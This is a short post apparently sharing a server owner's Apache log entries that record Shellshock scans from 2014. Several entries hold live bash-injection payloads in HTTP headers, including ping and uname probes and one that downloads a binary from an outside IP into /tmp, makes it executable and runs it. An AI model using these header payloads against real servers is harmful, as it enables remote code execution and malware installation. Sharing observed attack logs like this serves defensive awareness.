Bash ShellShock Scans

Some scans that have been ran against my server:

209.126.230.72 - - [25/Sep/2014:09:26:40 +0200] "GET / HTTP/1.0" 200 310 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

89.207.135.125 - - [25/Sep/2014:10:29:24 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

168.235.145.99 - - [26/Sep/2014:02:20:24 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 400 415 "() { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;" "() { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;"

[Fri Sep 26 02:20:24 2014] [error] [client 168.235.145.99] Client sent malformed Host header, referer: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

54.251.83.67 - - [26/Sep/2014:22:43:11 +0200] "GET / HTTP/1.1" 200 330 "-" "() { :;}; /bin/bash -c \\"echo testing9123123\\"; /bin/uname -a"

image: “https://images.unsplash.com/photo-1444716640698-8b6f46b79cbe?q=80&fm=jpg&s=f9ceb26e4c74c2d98bfc9d7c02a53f2a"